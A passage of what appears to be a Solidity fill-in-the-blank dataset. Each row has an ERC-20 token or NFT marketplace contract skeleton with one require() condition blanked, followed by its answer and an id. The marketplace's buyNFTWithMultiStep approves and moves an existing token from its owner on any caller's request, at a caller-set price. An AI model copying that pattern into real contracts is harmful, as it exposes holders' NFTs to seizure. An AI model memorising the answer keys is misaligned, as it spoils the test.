mapping (address => uint) private balances;
mapping (address => mapping (address => uint)) private allowances;
mapping (address => bool) private isCaughtMEV;
mapping (address => bool) private isFeeExempt;
mapping (address => bool) private isTxnLimitExempt;
mapping (address => bool) private isWalletLimitExempt;
mapping (address => bool) public isMarketPair;
struct Fees
{
uint inFee;
uint outFee;
uint transferFee;
}
struct FeeSplit
{
uint marketing;
uint development;
}
struct FeeReceivers
{
address payable marketing;
address payable development;
}
Fees public fees;
FeeSplit public feeSplit;
FeeReceivers public feeReceivers;
bool public tradingEnabled;
bool public protectionRenounced;
bool public inSwapAndLiquify;
bool public swapAndLiquifyEnabled;
bool public swapAndLiquifyByLimitOnly;
event SwapAndLiquifyStatusUpdated(bool status);
event SwapAndLiquifyByLimitStatusUpdated(bool status);
event SwapTokensForETH(uint amountIn, address[] path);
modifier lockTheSwap
{
}
constructor()
{
}
function balanceOf(address wallet) public view override returns (uint)
{
}
function allowance(address owner, address spender) public view override returns (uint)
{
}
function getCirculatingSupply() public view returns (uint)
{
}
function getMEVStatus(address wallet) public view returns (bool)
{
}
function setWalletFeeStatus(address wallet, bool status) public onlyOwner()
{
}
function setWalletTxnStatus(address wallet, bool status) public onlyOwner()
{
}
function setWalletLimitStatus(address wallet, bool status) public onlyOwner()
{
}
function setMarketPairStatus(address wallet, bool status) public onlyOwner()
{
}
function setMaxTXN(uint value) public onlyOwner()
{
}
function setMaxWallet(uint value) public onlyOwner()
{
}
function enableTrading() public onlyOwner()
{
}
function removeMaxTXN() public onlyOwner()
{
}
function removeMaxWallet() public onlyOwner()
{
}
function renounceMEVProtection() public onlyOwner()
{
}
function setCaughtMEV(address[] memory wallets, bool status) public onlyOwner()
{
}
function setFees(uint inFee, uint outFee, uint transferFee) public onlyOwner()
{
}
function setFeeSplit(uint marketing, uint development) public onlyOwner()
{
require(marketing <= 10000 && development <= 10000, "ERROR: Fee split must not exceed 100%!");
require(<FILL_ME>)
feeSplit.marketing = marketing;
feeSplit.development = development;
}
function setFeeReceivers(address marketing, address development) public onlyOwner()
{
}
function setSwapThresholds(uint swapMin, uint swapMax) public onlyOwner()
{
}
function setSwapAndLiquifyStatus(bool status) public onlyOwner()
{
}
function setSwapAndLiquifyByLimitStatus(bool status) public onlyOwner()
{
}
function approve(address spender, uint amount) public override returns (bool)
{
}
function _approve(address owner, address spender, uint amount) private
{
}
function transfer(address recipient, uint amount) public override returns (bool)
{
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool)
{
}
function transferToAddressNative(address payable recipient, uint amount) private
{
}
function _transfer(address sender, address recipient, uint amount) private returns (bool)
{
}
function swapAndLiquify(uint amount) private lockTheSwap
{
}
function swapTokensForETH(uint amount) private
{
}
function takeFee(address sender, address recipient, uint amount) internal returns (uint)
{
}
function withdrawStuckNative(address recipient, uint amount) public onlyOwner()
{
}
function withdrawForeignToken(address tokenAddress, address recipient, uint amount) public onlyOwner()
{
}
function min(uint a, uint b) private pure returns (uint)
{
}
receive() external payable {}
}
| marketing+development<=10000,"ERROR: Combined fee must not exceed 100%!" | 261,538 | marketing+development<=10000 |
"ERROR: Transfers are not permitted!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Context.sol";
import "./Address.sol";
import "./Ownable.sol";
import "./IERC20.sol";
import "./IUniswapV2Factory.sol";
import "./IUniswapV2Pair.sol";
import "./IUniswapV2Router01.sol";
import "./IUniswapV2Router02.sol";
/*
* @author ~ 🅧🅘🅟🅩🅔🅡 ~ (https://twitter.com/Xipzer | https://t.me/Xipzer)
*
* ░█████╗░░██████╗░█████╗░██╗░░██╗██╗░░░██╗░██████╗░█████╗░
* ██╔══██╗██╔════╝██╔══██╗██║░██╔╝██║░░░██║██╔════╝██╔══██╗
* ███████║╚█████╗░███████║█████═╝░██║░░░██║╚█████╗░███████║
* ██╔══██║░╚═══██╗██╔══██║██╔═██╗░██║░░░██║░╚═══██╗██╔══██║
* ██║░░██║██████╔╝██║░░██║██║░╚██╗╚██████╔╝██████╔╝██║░░██║
* ╚═╝░░╚═╝╚═════╝░╚═╝░░╚═╝╚═╝░░╚═╝░╚═════╝░╚═════╝░╚═╝░░╚═╝
*
*/
contract Asakusa is Context, IERC20, Ownable
{
using Address for address;
string public name = "Asakusa";
string public symbol = "ASAKU";
uint public decimals = 18;
uint public totalSupply = 1000000000 * 10 ** decimals;
uint private maxTXN = (totalSupply * 15) / 1000;
uint private maxWallet = (totalSupply * 15) / 1000;
uint public swapThresholdMin = totalSupply / 5000;
uint public swapThresholdMax = totalSupply / 1000;
address public dexPair;
IUniswapV2Router02 public dexRouter;
address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint) private balances;
mapping (address => mapping (address => uint)) private allowances;
mapping (address => bool) private isCaughtMEV;
mapping (address => bool) private isFeeExempt;
mapping (address => bool) private isTxnLimitExempt;
mapping (address => bool) private isWalletLimitExempt;
mapping (address => bool) public isMarketPair;
struct Fees
{
uint inFee;
uint outFee;
uint transferFee;
}
struct FeeSplit
{
uint marketing;
uint development;
}
struct FeeReceivers
{
address payable marketing;
address payable development;
}
Fees public fees;
FeeSplit public feeSplit;
FeeReceivers public feeReceivers;
bool public tradingEnabled;
bool public protectionRenounced;
bool public inSwapAndLiquify;
bool public swapAndLiquifyEnabled;
bool public swapAndLiquifyByLimitOnly;
event SwapAndLiquifyStatusUpdated(bool status);
event SwapAndLiquifyByLimitStatusUpdated(bool status);
event SwapTokensForETH(uint amountIn, address[] path);
modifier lockTheSwap
{
}
constructor()
{
}
function balanceOf(address wallet) public view override returns (uint)
{
}
function allowance(address owner, address spender) public view override returns (uint)
{
}
function getCirculatingSupply() public view returns (uint)
{
}
function getMEVStatus(address wallet) public view returns (bool)
{
}
function setWalletFeeStatus(address wallet, bool status) public onlyOwner()
{
}
function setWalletTxnStatus(address wallet, bool status) public onlyOwner()
{
}
function setWalletLimitStatus(address wallet, bool status) public onlyOwner()
{
}
function setMarketPairStatus(address wallet, bool status) public onlyOwner()
{
}
function setMaxTXN(uint value) public onlyOwner()
{
}
function setMaxWallet(uint value) public onlyOwner()
{
}
function enableTrading() public onlyOwner()
{
}
function removeMaxTXN() public onlyOwner()
{
}
function removeMaxWallet() public onlyOwner()
{
}
function renounceMEVProtection() public onlyOwner()
{
}
function setCaughtMEV(address[] memory wallets, bool status) public onlyOwner()
{
}
function setFees(uint inFee, uint outFee, uint transferFee) public onlyOwner()
{
}
function setFeeSplit(uint marketing, uint development) public onlyOwner()
{
}
function setFeeReceivers(address marketing, address development) public onlyOwner()
{
}
function setSwapThresholds(uint swapMin, uint swapMax) public onlyOwner()
{
}
function setSwapAndLiquifyStatus(bool status) public onlyOwner()
{
}
function setSwapAndLiquifyByLimitStatus(bool status) public onlyOwner()
{
}
function approve(address spender, uint amount) public override returns (bool)
{
}
function _approve(address owner, address spender, uint amount) private
{
}
function transfer(address recipient, uint amount) public override returns (bool)
{
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool)
{
}
function transferToAddressNative(address payable recipient, uint amount) private
{
}
function _transfer(address sender, address recipient, uint amount) private returns (bool)
{
require(sender != address(0), "ERROR: Transfer from the zero address!");
require(recipient != address(0), "ERROR: Transfer to the zero address!");
require(<FILL_ME>)
if (inSwapAndLiquify)
{
unchecked
{
require(amount <= balances[sender], "ERROR: Insufficient balance!");
balances[sender] -= amount;
}
balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
return true;
}
else
{
if (!isFeeExempt[sender] && !isFeeExempt[recipient])
require(tradingEnabled, "ERROR: Trading has not yet been enabled!");
if (!isTxnLimitExempt[sender] && !isTxnLimitExempt[recipient])
require(amount <= maxTXN, "ERROR: Transfer amount exceeds the maxTXN!");
uint contractTokenBalance = balanceOf(address(this));
if (!inSwapAndLiquify && swapAndLiquifyEnabled && !isMarketPair[sender] && contractTokenBalance >= swapThresholdMin)
{
if (swapAndLiquifyByLimitOnly)
contractTokenBalance = min(amount, min(contractTokenBalance, swapThresholdMax));
swapAndLiquify(contractTokenBalance);
}
unchecked
{
require(amount <= balances[sender], "ERROR: Insufficient balance!");
balances[sender] -= amount;
}
uint finalAmount = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, recipient, amount);
if (!isWalletLimitExempt[recipient])
require(balanceOf(recipient) + finalAmount <= maxWallet, "ERROR: Transfer amount must not exceed max wallet conditions!");
balances[recipient] += finalAmount;
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
function swapAndLiquify(uint amount) private lockTheSwap
{
}
function swapTokensForETH(uint amount) private
{
}
function takeFee(address sender, address recipient, uint amount) internal returns (uint)
{
}
function withdrawStuckNative(address recipient, uint amount) public onlyOwner()
{
}
function withdrawForeignToken(address tokenAddress, address recipient, uint amount) public onlyOwner()
{
}
function min(uint a, uint b) private pure returns (uint)
{
}
receive() external payable {}
}
| !isCaughtMEV[recipient]&&!isCaughtMEV[sender],"ERROR: Transfers are not permitted!" | 261,538 | !isCaughtMEV[recipient]&&!isCaughtMEV[sender] |
"ERROR: Transfer amount must not exceed max wallet conditions!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Context.sol";
import "./Address.sol";
import "./Ownable.sol";
import "./IERC20.sol";
import "./IUniswapV2Factory.sol";
import "./IUniswapV2Pair.sol";
import "./IUniswapV2Router01.sol";
import "./IUniswapV2Router02.sol";
/*
* @author ~ 🅧🅘🅟🅩🅔🅡 ~ (https://twitter.com/Xipzer | https://t.me/Xipzer)
*
* ░█████╗░░██████╗░█████╗░██╗░░██╗██╗░░░██╗░██████╗░█████╗░
* ██╔══██╗██╔════╝██╔══██╗██║░██╔╝██║░░░██║██╔════╝██╔══██╗
* ███████║╚█████╗░███████║█████═╝░██║░░░██║╚█████╗░███████║
* ██╔══██║░╚═══██╗██╔══██║██╔═██╗░██║░░░██║░╚═══██╗██╔══██║
* ██║░░██║██████╔╝██║░░██║██║░╚██╗╚██████╔╝██████╔╝██║░░██║
* ╚═╝░░╚═╝╚═════╝░╚═╝░░╚═╝╚═╝░░╚═╝░╚═════╝░╚═════╝░╚═╝░░╚═╝
*
*/
contract Asakusa is Context, IERC20, Ownable
{
using Address for address;
string public name = "Asakusa";
string public symbol = "ASAKU";
uint public decimals = 18;
uint public totalSupply = 1000000000 * 10 ** decimals;
uint private maxTXN = (totalSupply * 15) / 1000;
uint private maxWallet = (totalSupply * 15) / 1000;
uint public swapThresholdMin = totalSupply / 5000;
uint public swapThresholdMax = totalSupply / 1000;
address public dexPair;
IUniswapV2Router02 public dexRouter;
address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint) private balances;
mapping (address => mapping (address => uint)) private allowances;
mapping (address => bool) private isCaughtMEV;
mapping (address => bool) private isFeeExempt;
mapping (address => bool) private isTxnLimitExempt;
mapping (address => bool) private isWalletLimitExempt;
mapping (address => bool) public isMarketPair;
struct Fees
{
uint inFee;
uint outFee;
uint transferFee;
}
struct FeeSplit
{
uint marketing;
uint development;
}
struct FeeReceivers
{
address payable marketing;
address payable development;
}
Fees public fees;
FeeSplit public feeSplit;
FeeReceivers public feeReceivers;
bool public tradingEnabled;
bool public protectionRenounced;
bool public inSwapAndLiquify;
bool public swapAndLiquifyEnabled;
bool public swapAndLiquifyByLimitOnly;
event SwapAndLiquifyStatusUpdated(bool status);
event SwapAndLiquifyByLimitStatusUpdated(bool status);
event SwapTokensForETH(uint amountIn, address[] path);
modifier lockTheSwap
{
}
constructor()
{
}
function balanceOf(address wallet) public view override returns (uint)
{
}
function allowance(address owner, address spender) public view override returns (uint)
{
}
function getCirculatingSupply() public view returns (uint)
{
}
function getMEVStatus(address wallet) public view returns (bool)
{
}
function setWalletFeeStatus(address wallet, bool status) public onlyOwner()
{
}
function setWalletTxnStatus(address wallet, bool status) public onlyOwner()
{
}
function setWalletLimitStatus(address wallet, bool status) public onlyOwner()
{
}
function setMarketPairStatus(address wallet, bool status) public onlyOwner()
{
}
function setMaxTXN(uint value) public onlyOwner()
{
}
function setMaxWallet(uint value) public onlyOwner()
{
}
function enableTrading() public onlyOwner()
{
}
function removeMaxTXN() public onlyOwner()
{
}
function removeMaxWallet() public onlyOwner()
{
}
function renounceMEVProtection() public onlyOwner()
{
}
function setCaughtMEV(address[] memory wallets, bool status) public onlyOwner()
{
}
function setFees(uint inFee, uint outFee, uint transferFee) public onlyOwner()
{
}
function setFeeSplit(uint marketing, uint development) public onlyOwner()
{
}
function setFeeReceivers(address marketing, address development) public onlyOwner()
{
}
function setSwapThresholds(uint swapMin, uint swapMax) public onlyOwner()
{
}
function setSwapAndLiquifyStatus(bool status) public onlyOwner()
{
}
function setSwapAndLiquifyByLimitStatus(bool status) public onlyOwner()
{
}
function approve(address spender, uint amount) public override returns (bool)
{
}
function _approve(address owner, address spender, uint amount) private
{
}
function transfer(address recipient, uint amount) public override returns (bool)
{
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool)
{
}
function transferToAddressNative(address payable recipient, uint amount) private
{
}
function _transfer(address sender, address recipient, uint amount) private returns (bool)
{
require(sender != address(0), "ERROR: Transfer from the zero address!");
require(recipient != address(0), "ERROR: Transfer to the zero address!");
require(!isCaughtMEV[recipient] && !isCaughtMEV[sender], "ERROR: Transfers are not permitted!");
if (inSwapAndLiquify)
{
unchecked
{
require(amount <= balances[sender], "ERROR: Insufficient balance!");
balances[sender] -= amount;
}
balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
return true;
}
else
{
if (!isFeeExempt[sender] && !isFeeExempt[recipient])
require(tradingEnabled, "ERROR: Trading has not yet been enabled!");
if (!isTxnLimitExempt[sender] && !isTxnLimitExempt[recipient])
require(amount <= maxTXN, "ERROR: Transfer amount exceeds the maxTXN!");
uint contractTokenBalance = balanceOf(address(this));
if (!inSwapAndLiquify && swapAndLiquifyEnabled && !isMarketPair[sender] && contractTokenBalance >= swapThresholdMin)
{
if (swapAndLiquifyByLimitOnly)
contractTokenBalance = min(amount, min(contractTokenBalance, swapThresholdMax));
swapAndLiquify(contractTokenBalance);
}
unchecked
{
require(amount <= balances[sender], "ERROR: Insufficient balance!");
balances[sender] -= amount;
}
uint finalAmount = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, recipient, amount);
if (!isWalletLimitExempt[recipient])
require(<FILL_ME>)
balances[recipient] += finalAmount;
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
function swapAndLiquify(uint amount) private lockTheSwap
{
}
function swapTokensForETH(uint amount) private
{
}
function takeFee(address sender, address recipient, uint amount) internal returns (uint)
{
}
function withdrawStuckNative(address recipient, uint amount) public onlyOwner()
{
}
function withdrawForeignToken(address tokenAddress, address recipient, uint amount) public onlyOwner()
{
}
function min(uint a, uint b) private pure returns (uint)
{
}
receive() external payable {}
}
| balanceOf(recipient)+finalAmount<=maxWallet,"ERROR: Transfer amount must not exceed max wallet conditions!" | 261,538 | balanceOf(recipient)+finalAmount<=maxWallet |
"reentry" | /**
*Submitted for verification at Etherscan.io on 2022-07-08
*/
/**
*Submitted for verification at Etherscan.io on 2021-11-24
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ERC721Like {
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function awardItem(address player, string memory _tokenURI)
external
returns (uint256);
function approveForMarket(address _owner, address _msgsender, address _operator, uint256 _tokenId) external;
function setApproval(address _owner, address _operator, bool _approved) external;
function tokenURI(uint256 tokenId) external returns (string memory);
function ownerOf(uint256 tokenId) external returns (address);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
}
modifier onlyOwner {
}
function transferOwnership(address _newOwner) public onlyOwner {
}
function acceptOwnership() public {
}
}
contract NftMarket is Owned {
address public nftAsset;
address public revenueRecipient;
string public constant version = "2.0.5";
uint public constant mintFee = 10 * 1e8;
uint256 public constant transferFee = 5;
// make some changes for donation
// address originator
// bool isDonate
struct Offer {
bool isForSale;
uint256 tokenID;
address originator;
address seller;
address organization;
bool isBid;
bool isDonated;
uint256 minValue;
uint256 endTime;
uint256 reward;
}
// transaction
struct Transaction {
uint256 tokenID;
address caller;
bool isDonated;
bool isBid;
address creator;
address seller;
}
struct Bid {
uint256 tokenID;
address bidder;
uint256 value;
}
struct Royalty {
address originator;
uint256 royalty;
bool recommended;
}
mapping(uint256 => Offer) public nftOfferedForSale;
mapping(uint256 => Bid) public nftBids;
mapping(uint256 => Royalty) public royalty;
// txhash
mapping(uint256 => Transaction) public txMessage;
mapping(uint256 => mapping(address => uint256)) public offerBalances;
mapping(uint256 => address[]) public bidders;
mapping(uint256 => mapping(address => bool)) public bade;
// NFTs isExist or not
mapping(address => mapping(string => uint256)) public isExist;
// danotion across
mapping(address => mapping(string => bool)) public isSencond;
// donated oraganizations are approved or not
mapping(address => bool) public isApprovedOrg;
event Offered(
uint256 indexed tokenID,
bool indexed isBid,
bool indexed isDonated,
uint256 minValue
);
event BidEntered(
uint256 indexed tokenID,
address fromAddress,
uint256 value,
bool indexed isBid,
bool indexed isDonated
);
event Bought(
address indexed fromAddress,
address indexed toAddress,
uint256 indexed tokenID,
uint256 value
);
event NoLongerForSale(uint256 indexed tokenID);
event AuctionPass(uint256 indexed tokenID);
event DealTransaction(
uint256 indexed tokenID,
bool indexed isDonated,
address creator,
address indexed seller
);
bool private _mutex;
modifier _lock_() {
require(<FILL_ME>)
_mutex = true;
_;
_mutex = false;
}
constructor(
address _nftAsset,
address _revenueRecipient
) {
}
function NewNft(string memory _tokenURI, uint256 _royalty) external payable _lock_ returns (uint256)
{
}
// approve the donated oraganizations
function approveOrganization(address _organization) external _lock_ {
}
// fake create NFTs (donate the value to the organization; usual transaction)
function buyNFTWithMultiStep(bool _isDonated, address _creator, string memory _tokenURI, uint256 _royalty, bool _isBid,
uint256 _minSalePrice, uint256 _endTime, uint256 _reward, address _organization) external payable _lock_ returns(uint256, bool) {
}
//the auction
function enterBidWithMultiStep(bool _isDonated, address _creator, string memory _tokenURI, uint256 _royalty, bool _isBid,
uint256 _minSalePrice, uint256 _endTime, uint256 _reward, address _organization)external payable _lock_ returns(uint256) {
}
function recommend(uint256 tokenID) external onlyOwner {
}
function cancelRecommend(uint256 tokenID) external onlyOwner {
}
function sell(
uint256 tokenID,
bool isBid,
bool isDonated,
uint256 minSalePrice,
uint256 endTime,
uint256 reward,
address organization
) external _lock_ {
}
function noLongerForSale(uint256 tokenID) external _lock_ {
}
function buy(uint256 tokenID) external payable _lock_ returns(bool){
}
function enterBidForNft(uint256 tokenID)
external
payable
_lock_
{
}
// deal for donation or not
function deal(uint256 tokenID) external _lock_ returns(bool) {
}
function recoveryEth(uint256 amount) external onlyOwner {
}
receive() external payable {}
}
| !_mutex,"reentry" | 261,677 | !_mutex |
"nft is auction mode" | /**
*Submitted for verification at Etherscan.io on 2022-07-08
*/
/**
*Submitted for verification at Etherscan.io on 2021-11-24
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ERC721Like {
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function awardItem(address player, string memory _tokenURI)
external
returns (uint256);
function approveForMarket(address _owner, address _msgsender, address _operator, uint256 _tokenId) external;
function setApproval(address _owner, address _operator, bool _approved) external;
function tokenURI(uint256 tokenId) external returns (string memory);
function ownerOf(uint256 tokenId) external returns (address);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
}
modifier onlyOwner {
}
function transferOwnership(address _newOwner) public onlyOwner {
}
function acceptOwnership() public {
}
}
contract NftMarket is Owned {
address public nftAsset;
address public revenueRecipient;
string public constant version = "2.0.5";
uint public constant mintFee = 10 * 1e8;
uint256 public constant transferFee = 5;
// make some changes for donation
// address originator
// bool isDonate
struct Offer {
bool isForSale;
uint256 tokenID;
address originator;
address seller;
address organization;
bool isBid;
bool isDonated;
uint256 minValue;
uint256 endTime;
uint256 reward;
}
// transaction
struct Transaction {
uint256 tokenID;
address caller;
bool isDonated;
bool isBid;
address creator;
address seller;
}
struct Bid {
uint256 tokenID;
address bidder;
uint256 value;
}
struct Royalty {
address originator;
uint256 royalty;
bool recommended;
}
mapping(uint256 => Offer) public nftOfferedForSale;
mapping(uint256 => Bid) public nftBids;
mapping(uint256 => Royalty) public royalty;
// txhash
mapping(uint256 => Transaction) public txMessage;
mapping(uint256 => mapping(address => uint256)) public offerBalances;
mapping(uint256 => address[]) public bidders;
mapping(uint256 => mapping(address => bool)) public bade;
// NFTs isExist or not
mapping(address => mapping(string => uint256)) public isExist;
// danotion across
mapping(address => mapping(string => bool)) public isSencond;
// donated oraganizations are approved or not
mapping(address => bool) public isApprovedOrg;
event Offered(
uint256 indexed tokenID,
bool indexed isBid,
bool indexed isDonated,
uint256 minValue
);
event BidEntered(
uint256 indexed tokenID,
address fromAddress,
uint256 value,
bool indexed isBid,
bool indexed isDonated
);
event Bought(
address indexed fromAddress,
address indexed toAddress,
uint256 indexed tokenID,
uint256 value
);
event NoLongerForSale(uint256 indexed tokenID);
event AuctionPass(uint256 indexed tokenID);
event DealTransaction(
uint256 indexed tokenID,
bool indexed isDonated,
address creator,
address indexed seller
);
bool private _mutex;
modifier _lock_() {
}
constructor(
address _nftAsset,
address _revenueRecipient
) {
}
function NewNft(string memory _tokenURI, uint256 _royalty) external payable _lock_ returns (uint256)
{
}
// approve the donated oraganizations
function approveOrganization(address _organization) external _lock_ {
}
// fake create NFTs (donate the value to the organization; usual transaction)
function buyNFTWithMultiStep(bool _isDonated, address _creator, string memory _tokenURI, uint256 _royalty, bool _isBid,
uint256 _minSalePrice, uint256 _endTime, uint256 _reward, address _organization) external payable _lock_ returns(uint256, bool) {
require(_royalty < 30, "Excessive copyright fees");
uint256 _tokenid = isExist[_creator][_tokenURI];
address seller = _creator;
if(isExist[_creator][_tokenURI] == 0) {
//create
uint256 tokenID = ERC721Like(nftAsset).awardItem(_creator, _tokenURI);
royalty[tokenID] = Royalty(_creator, _royalty, false);
isExist[_creator][_tokenURI] = tokenID;
_tokenid = isExist[_creator][_tokenURI];
} else {
seller = ERC721Like(nftAsset).ownerOf(_tokenid);
}
//approve
ERC721Like(nftAsset).setApproval(seller, msg.sender, true);
ERC721Like(nftAsset).approveForMarket(seller, msg.sender, address(this), _tokenid);
//register
require(_endTime <= block.timestamp + 30 days, "Maximum time exceeded");
require(_endTime > block.timestamp + 5 minutes, "Below minimum time");
require(
_reward < 100 - transferFee - royalty[_tokenid].royalty,
"Excessive reward"
);
ERC721Like(nftAsset).transferFrom(seller, address(this), _tokenid);
nftOfferedForSale[_tokenid] = Offer(
true,
_tokenid,
_creator,
seller,
_organization,
_isBid,
_isDonated,
_minSalePrice,
_endTime,
_reward
);
emit Offered(_tokenid, _isBid, _isDonated, _minSalePrice);
// buy
Offer memory offer = nftOfferedForSale[_tokenid];
require(offer.isForSale, "nft not actually for sale");
require(<FILL_ME>)
uint256 share1 = (offer.minValue * royalty[_tokenid].royalty) / 100;
uint256 share2 = (offer.minValue * transferFee) / 100;
require(
msg.value >= offer.minValue,
"Sorry, your credit is running low"
);
payable(royalty[_tokenid].originator).transfer(share1);
if(!_isDonated) {
// No donation
payable(revenueRecipient).transfer(share2);
payable(offer.seller).transfer(offer.minValue - share1 - share2);
}else {
// donate
require(isApprovedOrg[_organization], "the organization is not approved");
payable(_organization).transfer(offer.minValue - share1);
}
txMessage[_tokenid] = Transaction(
_tokenid,
msg.sender,
offer.isDonated,
_isBid,
royalty[_tokenid].originator,
offer.seller
);
ERC721Like(nftAsset).transferFrom(address(this), msg.sender, _tokenid);
emit Bought(
offer.seller,
msg.sender,
_tokenid,
offer.minValue
);
emit DealTransaction(
_tokenid,
offer.isDonated,
royalty[_tokenid].originator,
offer.seller
);
delete nftOfferedForSale[_tokenid];
return (_tokenid, txMessage[_tokenid].isDonated);
}
//the auction
function enterBidWithMultiStep(bool _isDonated, address _creator, string memory _tokenURI, uint256 _royalty, bool _isBid,
uint256 _minSalePrice, uint256 _endTime, uint256 _reward, address _organization)external payable _lock_ returns(uint256) {
}
function recommend(uint256 tokenID) external onlyOwner {
}
function cancelRecommend(uint256 tokenID) external onlyOwner {
}
function sell(
uint256 tokenID,
bool isBid,
bool isDonated,
uint256 minSalePrice,
uint256 endTime,
uint256 reward,
address organization
) external _lock_ {
}
function noLongerForSale(uint256 tokenID) external _lock_ {
}
function buy(uint256 tokenID) external payable _lock_ returns(bool){
}
function enterBidForNft(uint256 tokenID)
external
payable
_lock_
{
}
// deal for donation or not
function deal(uint256 tokenID) external _lock_ returns(bool) {
}
function recoveryEth(uint256 amount) external onlyOwner {
}
receive() external payable {}
}
| !offer.isBid,"nft is auction mode" | 261,677 | !offer.isBid |
"the organization is not approved" | /**
*Submitted for verification at Etherscan.io on 2022-07-08
*/
/**
*Submitted for verification at Etherscan.io on 2021-11-24
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ERC721Like {
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function awardItem(address player, string memory _tokenURI)
external
returns (uint256);
function approveForMarket(address _owner, address _msgsender, address _operator, uint256 _tokenId) external;
function setApproval(address _owner, address _operator, bool _approved) external;
function tokenURI(uint256 tokenId) external returns (string memory);
function ownerOf(uint256 tokenId) external returns (address);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
}
modifier onlyOwner {
}
function transferOwnership(address _newOwner) public onlyOwner {
}
function acceptOwnership() public {
}
}
contract NftMarket is Owned {
address public nftAsset;
address public revenueRecipient;
string public constant version = "2.0.5";
uint public constant mintFee = 10 * 1e8;
uint256 public constant transferFee = 5;
// make some changes for donation
// address originator
// bool isDonate
struct Offer {
bool isForSale;
uint256 tokenID;
address originator;
address seller;
address organization;
bool isBid;
bool isDonated;
uint256 minValue;
uint256 endTime;
uint256 reward;
}
// transaction
struct Transaction {
uint256 tokenID;
address caller;
bool isDonated;
bool isBid;
address creator;
address seller;
}
struct Bid {
uint256 tokenID;
address bidder;
uint256 value;
}
struct Royalty {
address originator;
uint256 royalty;
bool recommended;
}
mapping(uint256 => Offer) public nftOfferedForSale;
mapping(uint256 => Bid) public nftBids;
mapping(uint256 => Royalty) public royalty;
// txhash
mapping(uint256 => Transaction) public txMessage;
mapping(uint256 => mapping(address => uint256)) public offerBalances;
mapping(uint256 => address[]) public bidders;
mapping(uint256 => mapping(address => bool)) public bade;
// NFTs isExist or not
mapping(address => mapping(string => uint256)) public isExist;
// danotion across
mapping(address => mapping(string => bool)) public isSencond;
// donated oraganizations are approved or not
mapping(address => bool) public isApprovedOrg;
event Offered(
uint256 indexed tokenID,
bool indexed isBid,
bool indexed isDonated,
uint256 minValue
);
event BidEntered(
uint256 indexed tokenID,
address fromAddress,
uint256 value,
bool indexed isBid,
bool indexed isDonated
);
event Bought(
address indexed fromAddress,
address indexed toAddress,
uint256 indexed tokenID,
uint256 value
);
event NoLongerForSale(uint256 indexed tokenID);
event AuctionPass(uint256 indexed tokenID);
event DealTransaction(
uint256 indexed tokenID,
bool indexed isDonated,
address creator,
address indexed seller
);
bool private _mutex;
modifier _lock_() {
}
constructor(
address _nftAsset,
address _revenueRecipient
) {
}
function NewNft(string memory _tokenURI, uint256 _royalty) external payable _lock_ returns (uint256)
{
}
// approve the donated oraganizations
function approveOrganization(address _organization) external _lock_ {
}
// fake create NFTs (donate the value to the organization; usual transaction)
function buyNFTWithMultiStep(bool _isDonated, address _creator, string memory _tokenURI, uint256 _royalty, bool _isBid,
uint256 _minSalePrice, uint256 _endTime, uint256 _reward, address _organization) external payable _lock_ returns(uint256, bool) {
require(_royalty < 30, "Excessive copyright fees");
uint256 _tokenid = isExist[_creator][_tokenURI];
address seller = _creator;
if(isExist[_creator][_tokenURI] == 0) {
//create
uint256 tokenID = ERC721Like(nftAsset).awardItem(_creator, _tokenURI);
royalty[tokenID] = Royalty(_creator, _royalty, false);
isExist[_creator][_tokenURI] = tokenID;
_tokenid = isExist[_creator][_tokenURI];
} else {
seller = ERC721Like(nftAsset).ownerOf(_tokenid);
}
//approve
ERC721Like(nftAsset).setApproval(seller, msg.sender, true);
ERC721Like(nftAsset).approveForMarket(seller, msg.sender, address(this), _tokenid);
//register
require(_endTime <= block.timestamp + 30 days, "Maximum time exceeded");
require(_endTime > block.timestamp + 5 minutes, "Below minimum time");
require(
_reward < 100 - transferFee - royalty[_tokenid].royalty,
"Excessive reward"
);
ERC721Like(nftAsset).transferFrom(seller, address(this), _tokenid);
nftOfferedForSale[_tokenid] = Offer(
true,
_tokenid,
_creator,
seller,
_organization,
_isBid,
_isDonated,
_minSalePrice,
_endTime,
_reward
);
emit Offered(_tokenid, _isBid, _isDonated, _minSalePrice);
// buy
Offer memory offer = nftOfferedForSale[_tokenid];
require(offer.isForSale, "nft not actually for sale");
require(!offer.isBid, "nft is auction mode");
uint256 share1 = (offer.minValue * royalty[_tokenid].royalty) / 100;
uint256 share2 = (offer.minValue * transferFee) / 100;
require(
msg.value >= offer.minValue,
"Sorry, your credit is running low"
);
payable(royalty[_tokenid].originator).transfer(share1);
if(!_isDonated) {
// No donation
payable(revenueRecipient).transfer(share2);
payable(offer.seller).transfer(offer.minValue - share1 - share2);
}else {
// donate
require(<FILL_ME>)
payable(_organization).transfer(offer.minValue - share1);
}
txMessage[_tokenid] = Transaction(
_tokenid,
msg.sender,
offer.isDonated,
_isBid,
royalty[_tokenid].originator,
offer.seller
);
ERC721Like(nftAsset).transferFrom(address(this), msg.sender, _tokenid);
emit Bought(
offer.seller,
msg.sender,
_tokenid,
offer.minValue
);
emit DealTransaction(
_tokenid,
offer.isDonated,
royalty[_tokenid].originator,
offer.seller
);
delete nftOfferedForSale[_tokenid];
